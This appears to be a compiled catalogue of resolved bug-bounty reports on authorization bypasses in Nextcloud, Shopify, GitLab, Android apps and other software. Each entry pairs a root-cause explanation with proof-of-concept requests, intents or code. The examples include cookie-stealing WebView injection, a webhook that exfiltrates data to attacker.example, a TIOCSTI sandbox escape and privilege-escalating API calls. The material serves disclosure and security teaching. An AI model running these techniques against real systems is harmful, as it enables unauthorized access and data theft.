- Server creates the federated share despite the UI hiding it
curl 'https://TARGET/apps/federatedfilesharing/createFederatedShare' -X POST \
-d 'shareWith=user2%40https%3A%2F%2FTARGET&token=SHARE_TOKEN'
Insight — UI-hidden actions are not access control. Enumerate the endpoints behind greyed-out/removed buttons and replay them directly; server-side must re-check that the action is permitted for the object's share type.
Real-world example
Android exported content providers chained for file/thumbnail exfil
◆ Low
Specimen #534541 · nextcloud · 100 · 14 votes · resolved
Program nextcloudSurface mobile-androidChain file-list provider -> imageCache provider -> thumbnail
Root cause
The Nextcloud Android app exports content providers: one enumerates the sync'd file table and another (DiskLruImageCacheFileProvider) renders a thumbnail for any filename, so a malicious app with no permissions can list files and read image/text thumbnails.
Method
- From a malicious app, query the file provider to list stored files and names
- Feed a filename into the image-cache provider to force thumbnail generation and read it
adb shell content query --uri content://org.nextcloud/file
adb shell content read --uri content://org.nextcloud.imageCache.provider/1553357105332.jpg
Insight — Enumerate exported <provider> entries in AndroidManifest and query them with `content query`/`content read`. Chaining an info provider (filenames) into a render/read provider (thumbnails) turns a benign leak into cross-app data access. Providers holding user data must not be exported.
Real-world example
Client-side feature-flag toggle exposes a state-changing action with no server-side authz
◆ Low
Specimen #860348 · shopify · $500 · 14 votes · resolved
Program shopifySurface graphqlTag graphql
Root cause
A permission/feature gate is enforced only in the client by a boolean returned in the API response (e.g. a beta flag). Flipping that boolean via a response-rewrite unlocks the hidden UI, and the underlying delete/mutate action does not re-check the acting user's permission on the server.
Method
- Capture the API/GraphQL response that contains the client feature/permission flag (e.g. staffPermissionsBetaFlag:false)
- Use Burp Match & Replace on the response body to flip it to true, unlocking the hidden management UI
- As a no-permission staff account, invoke the exposed action (delete POS staff) and confirm it succeeds server-side
# Burp > Proxy > Match and Replace (Response body)
"staffPermissionsBetaFlag":false => "staffPermissionsBetaFlag":true
Insight — When the UI hides an action behind a flag delivered in the response, rewrite the flag and try the action anyway; missing server-side authorization on the mutation is the real bug. Test the destructive endpoint directly with a least-privilege account.
Real-world example
View-only user performs write action via direct POST (UI hides form, server skips authz)
◆ Low
Specimen #202499 · phabricator · $300 · 14 votes · resolved
Program phabricatorSurface web
Root cause
A resource grants a user only Viewing privilege and the UI omits the write form, but the write endpoint validates only view access, so a hand-crafted POST performs the privileged action (posting a message).
Method
- As a user with only view permission, observe the write form is absent in the UI
- Replay a legitimate write request captured from a privileged account, substituting your own session cookie and CSRF token
- Confirm the action (message posted) succeeds despite lacking write permission
POST /conpherence/update/1/ HTTP/1.1
Host: TARGET
X-Phabricator-Csrf: <your-csrf>
Content-Type: application/x-www-form-urlencoded
Cookie: phsid=<your-session>
__form__=1&action=message&text=TESTTEXT&latest_transaction_id=10&__wflow__=true&__ajax__=true&__metablock__=6
Insight — Absence of a UI control is not access control. For every read-only role, replay the write endpoints directly; many apps enforce authorization only at the view layer and skip it on the corresponding action.
Real-world example
Permission escalation on reshare: implied-delete bit propagates beyond parent share
◆ Low
Specimen #633245 · nextcloud · awarded · 14 votes · resolved
Program nextcloudSurface apiChain read-only received share -> reshare with delete bit ->
Root cause
A received share is granted an internal 'implied delete' permission (so the recipient can unshare its root). When the recipient reshares, the sharing API accepts a permission bitmask that includes DELETE, propagating a capability the recipient never legitimately held to downstream users.
Method
- user0 shares folder /test to user1 with read+share (17) only (no delete)
- user1 reshares /test to user2 via the sharing API specifying permissions=25 (read 1 + reshare 16 + delete 8)
- user2 (or user1 via a group they belong to) can now DELETE files in /test that user0 never granted delete on
curl --user user1:user1 "http://TARGET/ocs/v1.php/apps/files_sharing/api/v1/shares" -H "OCS-APIRequest: true" -X POST --data 'path=/test&shareType=0&shareWith=user2&permissions=25'
curl --user user2:user2 "http://TARGET/remote.php/dav/files/user2/test/file.txt" -H "OCS-APIRequest: true" -X DELETE
Insight — When resharing/delegating, submit a permission bitmask that exceeds the parent grant; APIs that clamp against an internal 'implied' capability instead of the actual parent permissions let you escalate. Always test child-share permissions > parent-share permissions.
Real-world example
BFLA on GitLab issueSetConfidential GraphQL mutation
◆ Low
Specimen #762271 · gitlab · 100 · 13 votes · resolved
Program gitlabSurface graphqlTag graphql
Root cause
The issueSetConfidential mutation authorizes a user who is merely an assignee of an issue, even with no project/group role, letting them flip confidentiality though the UI/API restrict this to Reporter+.
Method
- Victim accidentally assigns an issue to the attacker account
- Attacker (no project role) sends the issueSetConfidential GraphQL mutation
- Confidentiality flips, hiding the issue from Guests
mutation {
issueSetConfidential(input:{projectPath:"group/project", iid:"5", confidential:true}){ errors }
}
Insight — Enumerate GraphQL mutations and replay each from an account with only incidental access (assignee, participant) to find object-permission gaps the web UI never exposes. Assignee != authorized to mutate.
Real-world example
Deep-link path-prefix bypass via trailing ../ loads arbitrary WebView URL
◆ Low
Specimen #1087744 · shopify · awarded · 13 votes · resolved
Program shopifySurface mobile-androidChain deep-link ../ bypass -> arbitrary WebView origin -> EATag oauth
Root cause
A VIEW-intent handler validates the deep-link path by prefix (must start with /admin/...) but the WebView normalizes ../ segments after the check, so appending ../ escapes the allowed prefix and loads an attacker-chosen path/origin.
Method
- Find the app's exported deep-link activity and its allowed host/path prefixes
- Craft a VIEW intent whose URL starts with the allowed prefix then appends ../ to escape it
- Point it at an attacker OAuth/install URL (via partner app merchant-install link) to load external JS in the WebView
- Use the exposed JS bridge (EASDK) to read app-sandbox files or run JS
am start -W -a android.intent.action.VIEW -d "https://TARGET-STORE.myshopify.com/admin/collections/../../"
# escalate to external/OAuth URL:
am start -W -a android.intent.action.VIEW -d "https://TARGET-STORE.myshopify.com/admin/collections/../oauth/install_custom_app?client_id=..."
# via JS bridge once loaded:
EASDK.redirect("file:///data/data/com.shopify.mobile/shared_prefs/notification_ids.xml")
Insight — Any deep-link/WebView allowlist that matches by path prefix is bypassable if normalization (../, //, %2e%2e, #) happens after validation. Always test trailing ../ and encoded traversal on mobile intent handlers, then pivot to any addJavascriptInterface bridge.
Real-world example
Read out-of-scope order data via a sibling GraphQL field
◆ Low
Specimen #1392032 · shopify · 800 · 12 votes · resolved
Program shopifySurface graphqlChain Customers-scope events leak -> order number+email -> CTag graphql
Root cause
Order data is scope-protected on the Orders APIs, but the Customer object's events()/HasEvents field returns activity messages that embed order numbers, emails and links, and that field is readable with only the Customers scope.
Method
- Create a staff with only Customers permission
- Query the Customer node's events messages via the internal GraphQL endpoint
- Extract order number + customer email from the event message
- Use the Chat App order-status flow with that info to retrieve the full order
POST /admin/internal/web/graphql/core
{"query":"query { node(id:\"gid://shopify/Customer/5639003504696\"){ ... on HasEvents { events(first:10){ edges{ node{ message } } } } } }"}
# message: "Order Confirmation email for order #1001 sent to this customer (aaa@aa.com)."
Insight — Scope/permission enforcement is per-field in GraphQL. When a direct object type is protected, look for the same data reflected through relationship/activity/event fields on a type you CAN read. Audit-log and 'events' fields are notorious for leaking cross-scope data.
Real-world example
Missing function-level authorization on admin settings endpoint
◆ Low
Specimen #417839 · shopify · 500 · 12 votes · resolved
Program shopifySurface webChain editable packing-slip Liquid template -> alter shipping a
Root cause
The packing-slip template settings endpoint checks authentication but not the staff member's permission set, so a staff user with only 'Home' permission can view and edit an admin-only template.
Method
- Create a staff user with only Home (no other) permission
- As that user, GET /admin/settings/packing_slip_template and edit the template
- Log in as admin and confirm the change persisted
GET /admin/settings/packing_slip_template (session = Home-only staff)
# then POST the edited template; changes save
Insight — Enumerate every admin/settings endpoint with a least-privilege account. Function-level authz is frequently missing on 'minor' configuration pages; a writable template (Liquid) is an escalation surface (alter shipping address, exfil variables).
Real-world example
Bypass 'Allow download' share permission via feature interaction
◆ Low
Specimen #1965156 · nextcloud · 250 · 12 votes · resolved
Program nextcloudSurface web
Root cause
The download-prevention permission is enforced only by the file viewer, but a second feature (Text app) generates and serves image previews/raw attachments through its own controller that never consults the share's download flag.
Method
- Receive a folder shared without 'Allow download'
- Create a new Text document and insert the shared images into it
- Preview renders the images; request the raw preview/attachment URL to download
GET /apps/text/... (AttachmentController) returns preview/raw image bytes regardless of the share download permission
Insight — A restriction enforced by one component is only as strong as every other component that can serve the same bytes. Enumerate alternate render/preview/export paths (thumbnails, Text/Collabora, zip, API) that reach the protected object through a different controller.
Real-world example
libcurl SMB connection reuse across shares (CVE-2026-5773)
◆ Low
Specimen #3650689 · curl · none · 12 votes · resolved
Program curlSurface otherChain Attacker-writable PUBLIC share -> app later fetches PRIVA
Root cause
url_match_proto_config verifies host/port/credentials on connection reuse but never compares the SMB share name (smbc->share); a pooled connection to share1 is reused for share2, so libcurl fetches old_share/new_path.
Method
- App uses libcurl to read files from two SMB shares on the same server with the same creds
- Request smb://server/share1/file first (opens+caches connection)
- Request smb://server/share2/file next
- Connection reused; TREE_CONNECT stays on share1 while NT_CREATE_ANDX uses the new path -> data from share1
curl -s -u 'user:pass' smb://127.0.0.1/share1/file1 smb://127.0.0.1/share2/file1
# Expected: 'hello from share1' then 'hello from share2'
# Actual: 'hello from share1' then 'hello from share1' <-- spoofed
Insight — Connection-pool reuse bugs arise whenever the reuse key omits a security-relevant selector (share, vhost, tenant, path prefix). If an attacker controls one share and can order the fetches, they spoof data into a trusted-share read.
Real-world example
Pipeline-visibility restriction bypassed via widget.json
◆ Low
Specimen #667408 · gitlab · awarded · 11 votes · resolved
Program gitlabSurface api
Root cause
Pipeline visibility can be restricted to project members, but the merge-request widget.json endpoint embeds head_pipeline data for the blocking merge request and does not enforce that restriction, leaking pipeline info to unauthenticated users.
Method
- Create a public project, restrict pipelines to members, disable public pipelines
- Create MR #1 and MR #2, add #1 as a blocking MR of #2
- As an unauthenticated user, GET /<ns>/<proj>/merge_requests/2/widget.json
- Read blocking_merge_requests -> head_pipeline id/sha in the JSON
GET https://TARGET/<namespace>/<project>/merge_requests/2/widget.json
# response embeds blocking_merge_requests[].head_pipeline{id,sha,...}
Insight — New features that aggregate related objects (blocking MRs, linked issues, embeds) often re-serialize data without re-applying the source object's ACL. When a resource is hidden, look for widget/aggregate/embed JSON endpoints that inline it.
Real-world example
Exported Android activity -> WebView loadDataWithBaseURL universal XSS -> cookie theft/ATO
◆ Low
Specimen #1455987 · exness · awarded · 11 votes · resolved
Program exnessSurface mobile-androidChain exported activity -> WebView origin spoof -> cookie/JWTag account-takeover
Root cause
A third-party SDK activity (SurveyMonkey SMFeedbackActivity) is exported and passes attacker-controlled Intent extras (smSPageURL as baseURL, smSPageHTML as HTML body) straight into WebView.loadDataWithBaseURL with JS enabled. The baseURL sets the origin, so injected script runs in the context of any app domain and can read that domain's cookies (all stored in one file).
Method
- Reverse the target APK; find an exported activity that feeds Intent extras into a WebView load method (loadDataWithBaseURL/loadUrl)
- From a malicious app, launch the victim app then start the exported activity with a payload: baseURL = target origin, HTML = <script> reading document.cookie or hitting an authed endpoint (OSRF)
- WebView treats HTML as served by baseURL origin, so script runs same-origin and can exfiltrate the session cookie/JWT for any site the app logged into
Intent i = new Intent("android.intent.action.VIEW");
i.putExtra("smSPageHTML", "<script>document.write(document.cookie)</script>");
i.putExtra("smSPageURL", "https://my.target.example/r/");
i.setClassName(createPackageContext("com.exness.investments", Context.CONTEXT_IGNORE_SECURITY), "com.surveymonkey.surveymonkeyandroidsdk.SMFeedbackActivity");
startActivity(i);
Insight — loadDataWithBaseURL(baseURL, html, ...) grants html the origin of baseURL. Any exported component that lets an external app control both = universal XSS on any origin the app holds cookies for. Grep exported=true activities that reach WebView load sinks with Intent extras.
Real-world example
Forced-browse alternate path bypasses MFA step-up (high-security mode)
◆ Low
Specimen #351361 · phabricator · awarded · 11 votes · resolved
Program phabricatorSurface webChain Compromised admin session -> create backdoor user withoutTag account-takeover
Root cause
User creation via /people/create/ requires entering MFA to enter 'high security mode', but the alternate route /people/new/standard/ jumps straight to the standard-user creation form without the step-up gate. The sensitive action is protected on one path but not its sibling.
Method
- As an admin (or with a hijacked admin session lacking fresh MFA), browse to /people/new/standard/ directly
- Skip the /people/create/ MFA prompt
- Create a new user without ever entering high-security mode
GET /people/new/standard/ # bypasses the MFA-gated /people/create/ flow
Insight — Step-up/MFA/'sudo mode' gates are frequently enforced on the primary UI path but not on deeper or legacy sub-routes that reach the same action. Enumerate alternate endpoints (/new/, /standard/, API equivalents, direct POST targets) for any sensitive action and re-check whether the step-up requirement is re-evaluated there.
Real-world example
Exported Android activity leaks private data-dir files via file:// URI
◆ Low
Specimen #1454002 · owncloud · awarded · 11 votes · resolved
Program owncloudSurface mobile-android
Root cause
An exported activity handling SEND_MULTIPLE accepts arbitrary file:// stream URIs and uploads them in the app's context, so any 3rd-party app can point it at the ownCloud app's own protected /data/data files.
Method
- Malicious app crafts an intent to the exported ReceiveExternalFilesActivity
- Set stream URIs to file:///data/data/com.owncloud.android/databases/...
- Start the activity; ownCloud reads its own private files and uploads them
Intent intent = new Intent("android.intent.action.SEND_MULTIPLE");
intent.setClassName("com.owncloud.android","com.owncloud.android.ui.activity.ReceiveExternalFilesActivity");
intent.setType("*/*");
ArrayList uris = new ArrayList<>();
uris.add(Uri.parse("file:///data/data/com.owncloud.android/databases/filelist"));
intent.putExtra("android.intent.extra.STREAM", uris);
startActivity(intent);
Insight — For exported components that take a URI/stream, test file:// paths into the target app's own sandbox - if it doesn't reject file:// (as its SEND handler did but SEND_MULTIPLE didn't), it becomes a confused-deputy to exfiltrate its private files.
Real-world example
Origin-navigation denylist bypass via ftp:// and file://
◆ Low
Specimen #378805 · brave · awarded · 11 votes · resolved
Program braveSurface desktopChain Reach chrome-extension:// origin -> if any extension page
Root cause
Navigation to chrome-extension:// origins is blocked only for http/https source pages; ftp:// and file:// origins are not checked, so pages from those schemes can window.open internal extension pages.
Method
- Serve exploit.html from ftp:// or file://
- window.open a chrome-extension:// internal page (about:preferences#payments)
- Internal extension page opens, bypassing the http/https block
// from ftp://localhost:7002/exploit.html
window.open('about:preferences#payments'); // reaches chrome-extension:// origin
Insight — Scheme-based allow/deny lists are a classic incomplete-enumeration bug: if a guard names http/https, always test ftp, file, blob, data, ws, and custom schemes for the same action.
Real-world example
Missing ownership check + no throttle on a resource-lock endpoint -> cross-user DoS
◆ Low
Specimen #1189174 · nextcloud · USD 250 · 10 votes · resolved
Program nextcloudSurface api
Root cause
The E2EE lock endpoint checks access on unlock but not on lock, and applies no throttling. Any authenticated user can POST lock on arbitrary fileids they don't own, and the cleanup job only clears 25/hour, letting an attacker lock victims out of their encrypted folders.
Method
- As any user, POST to the E2EE lock endpoint with a fileid you do not own
- Loop over the fileid space to lock everything faster than the hourly cleanup clears it
- Victim can no longer interact with their encrypted data
curl -u attacker:pass -X POST 'https://SERVER/ocs/v2.php/apps/end_to_end_encryption/api/v1/lock/<FILEID>' -H 'OCS-APIREQUEST: true'
Insight — Lock/reservation/checkout endpoints often enforce authz only on the release path. Test the acquire path for ownership checks and rate limits; asymmetric lock/unlock authorization is a reliable DoS primitive.
Real-world example
Restricted pipeline visibility bypassed via auxiliary status endpoint
◆ Low
Specimen #582349 · gitlab · awarded · 10 votes · resolved
Program gitlabSurface webTag account-takeover
Root cause
Pipeline visibility is restricted to project members, but a separate merge-request sub-endpoint (pipeline_status) does not re-check that authorization and returns pipeline state to anyone with MR access.
Method
- Create a public project, disable public pipelines, restrict pipeline visibility to members
- Add a CI job and open a merge request
- As an unauthorized user request /:ns/:project/merge_requests/:iid/pipeline_status
- Receive JSON leaking pipeline status/details_path though the main pipelines view returns 403
GET https://TARGET/<namespace>/<project>/merge_requests/1/pipeline_status
Insight — When a UI view is access-controlled, enumerate the small JSON/status/AJAX sub-endpoints that feed it (pipeline_status, *.json, /refresh, /widget) - the authz check is frequently missing on those secondary routes.
Real-world example
Channel-ID parameter tampering bypasses channel-level restrictions
◆ Low
Specimen #151459 · slack · awarded · 10 votes · resolved
Program slackSurface webChain restricted member → intercept allowed request → swap channel
Root cause
Slack enforced channel posting/feature restrictions in the UI but the server trusted the client-supplied channel id in the request. A restricted member intercepts a legitimate action on an allowed channel and swaps in the id of a restricted channel (e.g. general) to post there, or starts a call in a channel where the feature is hidden.
Method
- As a restricted member, perform an allowed action (post/command/call) on a channel you can use
- Intercept the request in a proxy
- Replace the channel id with the id of a restricted/target channel
- Forward; the action succeeds on the restricted channel
POST /api/<action> HTTP/1.1
Host: <team>.slack.com
...
channel=D_RESTRICTED_OR_TARGET_ID
... (swap the channel id from the allowed channel to the restricted one)
Insight — UI-level channel/feature restrictions are frequently not re-checked server-side against the channel id in the body. For any per-resource permission, capture an allowed request and replay it with a forbidden resource id; the tell is a success response for an action the UI hid.
Real-world example
UI-only authorization enforced, API endpoint unprotected (BFLA)
◆ Low
Specimen #199286 · nextcloud · none · 10 votes · resolved
Program nextcloudSurface api
Root cause
Group-admin scope (may only manage own groups) is enforced in the web UI but not on the togglegroup/provisioning API, so replaying the request with an out-of-scope group succeeds.
Method
- As a limited group-admin, perform an allowed action in the UI and capture the request
- Replay it with a group you do not administer (curl)
- Server performs the action -> escape own groups, manage arbitrary groups/users
# capture togglegroup.php request for group1, then:
curl ... -d 'username=user2&group=group2' # group2 not administered by attacker
# also reproducible via provisioning_api
Insight — Authorization must live on the API, not the view. For every UI restriction, replay the underlying request with out-of-scope identifiers; check both the internal endpoint and any public provisioning/REST API for the same action.
Real-world example
Webhooks keep firing after their scope is revoked and disappear from the listing (stealth persistence)
◆ Low
Specimen #227230 · shopify · none · 9 votes · resolved
Program shopifySurface apiChain transient access -> scoped webhook -> scope revoked -&Tag webhook
Root cause
Creating a webhook requires the matching read scope, but removing that scope later neither deletes/disables the webhook nor lists it: the webhook still fires with full event data, yet GET /admin/webhooks.json returns an empty array because the querying token lacks the scope. An attacker who briefly had access leaves an invisible data-exfil backdoor.
Method
- With read scope, create a webhook pointing at an attacker endpoint (e.g. orders/create)
- Remove that permission from the API token
- Trigger the event; the webhook still POSTs data to the attacker
- Listing webhooks returns [] so an admin cannot see the backdoor
curl -X POST "$store/admin/webhooks.json" -H "Content-Type: application/json" -d '{"webhook":{"topic":"orders/create","address":"https://attacker.example/hook","format":"json"}}'
# then revoke orders scope; GET /admin/webhooks.json?since=1 -> []
Insight — Revoking a permission should revoke or at least surface the artifacts it created. Test that webhooks/API keys/integrations created under a scope are deactivated and remain visible after the scope is removed; invisibility + continued firing = persistence.
Real-world example
UI hides action but backend accepts direct POST (misconfigured default rank)
◆ Low
Specimen #1680818 · rockstargames · awarded · 9 votes · resolved
Program rockstargamesSurface web
Root cause
Members of certain Official Crews were mistakenly defaulted to Commissioner (max) rank; the UI does not expose settings controls for these crews, but the backend accepted direct POSTs to the settings endpoints, allowing edits (Crew Motto, Open Invite status).
Method
- Identify a crew where the UI hides settings controls
- Forge/replay the underlying settings POST to the endpoint directly
- Observe crew settings change despite no UI affordance
direct POST to the crew-settings endpoint (e.g. update motto / open-invite), replayed without the UI
Insight — UI hiding an action is not authorization. When controls are absent from the UI, reconstruct and send the raw POST -- misconfigured default roles frequently grant hidden server-side privilege.
Real-world example
Permission-model bypass via APIs the sandbox forgot to guard (Node.js)
◆ Low
Specimen #2051224 · nodejs · none · 8 votes · resolved
Program nodejsSurface other
Root cause
Node's experimental permission model guards most fs/net APIs but omits sibling methods (fs.statfs, promise-based FileHandle.chmod/chown, unix-domain-socket server), so restricted code reaches file metadata / mutates perms / opens sockets despite --allow-fs-*/--allow-net restrictions.
Method
- Run target under --experimental-permission with a restricted --allow-fs-read/write or without --allow-net
- Call an unguarded sibling API (fs.statfs on a non-allowed path; FileHandle.chmod/chown; net.createServer over a unix socket)
- Observe the operation succeeds without ERR_ACCESS_DENIED
// statfs metadata read despite no read permission
const fs = require('fs');
fs.statfs('./restricted.js', (e, s) => console.log(s));
// run: node --experimental-permission --allow-fs-read=/path/to/index.js index.js
Insight — When a sandbox/permission model lands, enumerate EVERY sibling of a guarded call - callback vs promise variants, *fs vs f* (fd-based), statfs vs stat, unix-socket vs TCP. Incomplete patches consistently leave one path unchecked; patch-bypass reports (chmod/chown promise, unix socket) recur on the same model.
Real-world example
Missing function-level authz on admin settings / print-export endpoints (forced browsing)
◆ Low
Specimen #423198 · shopify · 500 · 8 votes · resolved
Program shopifySurface webTag file-upload
Root cause
Specific admin/settings and auxiliary print/export endpoints omit the authorization check enforced elsewhere, so a no-permission staff account can directly navigate to them to read or modify data.
Method
- Create a staff/member account with no permissions
- Directly request admin settings or print/export endpoints instead of using the (blocked) UI
- Observe you can edit the packing-slip template and preview a PDF containing product + shipping data
- Generalize: enumerate /admin/settings/*, print/PDF, rte/assets, and /users/{id}/edit style endpoints
# no-permission staff, direct navigation:
GET /admin/settings/packing_slip_template # edit + preview PDF with product/shipping
GET /admin/rte/assets # (97452) lists admin-uploaded files
GET /examroom_printer_friendly/{office_id}/{date}/{date} # (59508) print export bypasses scheduling perm
GET /users/1/edit and /users/1/posts?filter=spam # (167846) admin-only profile view incl deleted posts
Insight — Authorization is usually enforced on the main UI paths but forgotten on settings sub-pages and on auxiliary 'print/export/preview/edit' endpoints. With a zero-permission account, brute the admin route space directly (Autorize/param-diff) - print/PDF and asset/RTE endpoints are recurring blind spots.
Real-world example
Break permissions waterfall by injecting 'FULL' sentinel
◆ Low
Specimen #1088159 · shopify · USD 500 · 8 votes · resolved
Program shopifySurface graphqlTag graphql
Root cause
Shopify Plus role edits propagate to all users in the role. Injecting the magic string 'FULL' into the permissions array grants full access; then replacing 'FULL' with garbage leaves the role UI showing limited access while users retain full access (state desync between role definition and effective grant).
Method
- Create a role with a handful of permissions and assign it to a user
- Intercept the UpdateRole mutation and add 'FULL' to the permissions array; save -> role and users become full access
- Re-send with 'FULL' swapped for junk (e.g. 'cheese') -> UI shows limited, effective access stays full
POST /34937697/users/api HTTP/1.1
Host: shopify.plus
Content-Type: application/json
{"operationName":"UpdateRole","variables":{"appHandles":[],"id":"<RoleID>","name":"waterfall","shopAccess":[{"appPermissions":[],"permissions":["DASHBOARD","ORDERS","GIFT_CARDS","FULL","REPORTS","OVERVIEWS"],"shopId":"<ShopID>"}]},"query":"mutation UpdateRole(...){updateRole(...){...}}"}
Insight — When an app uses sentinel/enum values ('FULL','ADMIN','*') alongside a list of granular permissions, try smuggling the sentinel into the granular array. Then test whether toggling it back leaves the effective grant stale vs the displayed state.
Real-world example
Android ContentProvider caller check via package-name substring
◆ Low
Specimen #331302 · nextcloud · awarded · 7 votes · resolved
Program nextcloudSurface mobile-android
Root cause
FileContentProvider authorizes the calling app by testing whether the caller's package name merely contains an expected substring, so any app whose package name embeds that substring gains unrestricted access.
Method
- Reverse the app and find the provider's caller check (getNameForUid(...).contains(pkg))
- Ship a malicious app whose package name contains the required substring (e.g. com.nextcloud.client.evil)
- Query the exported provider to read protected data (e.g. e2e private keys)
content://org.nextcloud/arbitrary_data
// vulnerable check:
// return callingPackage == null || !callingPackage.contains(getPackageName());
Insight — Any IPC/authorization check using String.contains()/startsWith() on package names, origins, or hostnames is bypassable by embedding the token. Require exact equality (and prefer signature-permission protection) for exported components.
Real-world example
Access-control enforced on file API but not on preview/thumbnail derivatives
◆ Low
Specimen #358339 · nextcloud · awarded · 7 votes · resolved
Program nextcloudSurface web
Root cause
Files Access Control rules gate the primary file/download API but are not applied to the thumbnail/preview API and to WebDAV recursive listing, so denied files can be enumerated and their contents recovered via server-generated previews.
Method
- As a restricted user, WebDAV-search to recursively list all files (bypasses ACL depth limits)
- For a denied image, request the preview API at high resolution to reconstruct it
- If the owner ever rendered previews, denied text files are also readable via their preview PNG
curl -u user 'https://TARGET/index.php/apps/files/api/v1/thumbnail/4096/4096/Secret_Folder/Secret_Subfolder/Secret_Text.txt' -o out.png
Insight — Derived/secondary representations (thumbnails, previews, PDF renders, OCR text, zip listings, export endpoints) frequently skip the ACL applied to the canonical object. For any protected file, enumerate every alternate representation endpoint.
Real-world example
Password-protected share where the password is silently never set
◆ Low
Specimen #888261 · nextcloud · none · 7 votes · resolved
Program nextcloudSurface api
Root cause
When a mail share is created via the OCS API with the password supplied at creation time, the code path fails to persist the password, so the share token is accessible with no password prompt.
Method
- Create a mail share via OCS with password set at creation
- Open the returned share token URL
- File is shown with no password challenge
curl -u admin:admin -X POST -H "OCS-APIRequest: true" "http://TARGET/ocs/v1.php/apps/files_sharing/api/v1/shares?path=welcome.txt&shareType=4&shareWith=user@server.com&password=plainTextPassword"
# then open http://TARGET/index.php/s/<shareToken>
Insight — Test that a protection set at object-creation is actually enforced - some code paths only apply it on later update or when policy-enforced. Create-with-password vs update-with-password can diverge; verify the guard actually fires on the create path.
Real-world example
Grafana datasource proxy backed by an over-privileged DB account
◆ Low
Specimen #802011 · kubernetes · awarded · 6 votes · resolved
Program kubernetesSurface web
Root cause
A public Grafana instance proxies queries to a backend datasource (InfluxDB) using stored credentials; the credentials were an admin/root DB user instead of a read-only one, so anyone who can reach the dashboard can run privileged DB commands through /api/datasources/proxy.
Method
- Find a public Grafana; capture a panel request to /api/datasources/proxy/<id>/query.
- Replay it changing the InfluxQL 'q' to admin operations (SHOW DATABASES, CREATE USER, DROP).
- If it succeeds, the datasource is bound to an admin DB account -> full read/write/DoS on the backend store.
GET /api/datasources/proxy/4/query?db=metrics&q=SHOW+DATABASES HTTP/1.1
Host: TARGET
X-Grafana-Org-Id: 1
(then) q=CREATE+USER+attacker+WITH+PASSWORD+'x'+WITH+ALL+PRIVILEGES
Insight — Grafana's datasource proxy runs with the datasource's own credentials, not the viewer's. Always test the proxy endpoint for privileged datasource verbs; over-privileged service accounts turn a read-only dashboard into DB admin.
Real-world example
Sandbox escape via TIOCSTI keystroke injection into /dev/tty
◆ Low
Specimen #1283871 · homebrew · none · 5 votes · resolved
Program homebrewSurface desktopChain sandboxed install -> TIOCSTI into /dev/tty -> command
Root cause
The install sandbox allows write access to /dev/tty; the TIOCSTI ioctl on that fd injects bytes into the controlling terminal's input queue, so a sandboxed install script can queue an arbitrary command that the user's unsandboxed shell executes after brew exits.
Method
- From inside the sandboxed process, open('/dev/tty', O_RDWR).
- Use ioctl(fd, TIOCSTI, ...) to push each byte of a command plus a newline into the terminal input queue.
- When the sandboxed parent finishes, the interactive shell runs the injected command outside any sandbox (e.g. append to ~/.zshrc for persistence).
int fd=open("/dev/tty",O_RDWR);
for(char*x=argv[1];*x;x++) ioctl(fd,TIOCSTI,x);
ioctl(fd,TIOCSTI,"\n"); // command now runs in the user's shell after brew exits
Insight — Any sandbox/jail policy that permits writing to the controlling terminal (/dev/tty) is escapable via TIOCSTI keystroke injection. Mitigation is a dedicated pty or removing /dev/tty write. Same class as su/sudo tty-hijacking. Check container/sandbox seccomp/allow lists for /dev/tty.
Real-world example
Object hidden on one parent path still reachable via an alternate parent
◆ Low
Specimen #636560 · gitlab · awarded · 5 votes · resolved
Program gitlabSurface web
Root cause
A resource's visibility is enforced on the project route but not on the group route; the same milestone objects are re-exposed through the group's aggregated view (CVE-2019-15577).
Method
- As owner, create a public group + public project, then restrict milestones to members-only in project settings
- As attacker, confirm project milestone URL now returns 404
- Browse the milestones via the group aggregate view instead
- Restricted milestones are disclosed
# blocked:
https://gitlab.com/<group>/<project>/-/milestones/1 -> 404
# leaks via group:
https://gitlab.com/groups/<group>/-/milestones
Insight — When an object is exposed under multiple parents (project vs group, user vs org, folder vs label), an access-control fix on one route often misses the sibling route. Always re-test the restricted object through every alternate parent/aggregate endpoint.
Real-world example
K8s host-network hijack via lenient EndpointSlice validation (CVE-2021-25737)
◆ Low
Specimen #1145044 · kubernetes · awarded · 5 votes · resolved
Program kubernetesSurface otherChain low-priv Service+EndpointSlice create → 127.0.0.1 endpoint →
Root cause
Endpoints validation rejects loopback/link-local addresses, but EndpointSlice validation (default in 1.19+) is more lenient; a user allowed to create Services and EndpointSlices can point a Service at 127.0.0.1:port and reach services on the node's host network.
Method
- Confirm EndpointSliceProxying (1.19+) and permission to create Services + EndpointSlices
- Create a Service, then an EndpointSlice whose endpoint address is 127.0.0.1 and port = a host-network service port
- From a pod, curl the Service DNS name; traffic is proxied to the node's loopback service
apiVersion: discovery.k8s.io/v1beta1
kind: EndpointSlice
metadata:
labels: { kubernetes.io/service-name: hijack }
name: hijack
endpoints:
- addresses: [ "127.0.0.1" ]
conditions: { ready: true }
ports:
- { name: http, port: 2020, protocol: TCP }
---
# then: curl hijack.attacker:2020/api/v1/uptime (hits host-network Fluent Bit)
Insight — When two resources feed the same data path (Endpoints vs EndpointSlice), validation gaps between them are exploitable — test the newer/less-guarded resource against constraints (loopback, link-local 169.254.169.254, host ports) the older one blocks. Reaching 127.0.0.1 on the node opens metadata/admin APIs.
Real-world example
REST API does not enforce the UI's access controls (parallel unauthorized path)
◆ Low
Specimen #232994 · weblate · none · 4 votes · resolved
Program weblateSurface api
Root cause
Access control is enforced only in the web UI controllers; the /api/ endpoints for the same resources omit the checks, so an anonymous/no-permission account that is denied in the UI can still list projects and download files via the API.
Method
- Strip all permissions from the Guest/anonymous role and confirm the UI returns Access Denied for a project.
- Request the equivalent API resource (/api/components/<proj>/<comp>/translations/).
- Follow the returned file_url (/api/translations/.../file/) to download the data the UI blocked.
GET /api/components/testproject/testcomponent/translations/ # UI denies /projects/testproject/ but API returns data + file_url
Insight — Always test the API twin of any UI-gated resource. Authorization implemented in view/controller layers but not in the API layer is a pervasive parallel-path bypass; enumerate /api/ for every UI object you can name.
Real-world example
Auth bypass via header('Location') redirect without exit()
◆ Low
Specimen #64941 · shopify · none · 4 votes · resolved
Program shopifySurface web
Root cause
Access control implemented as `if (!logged_in) header('Location: login.php');` with no exit()/die() after it. PHP keeps executing and rendering the rest of the page; the browser can be told to ignore 3xx redirects, so the protected content (and full path disclosure on errors) is served anyway.
Method
- Identify pages gated only by a header('Location: login.php') redirect on the unauthenticated branch.
- Request the page without a session and instruct the client to not follow redirects (curl -s without -L, or Burp intercept the 302 and read the body).
- The protected page body is still present in the response despite the 302.
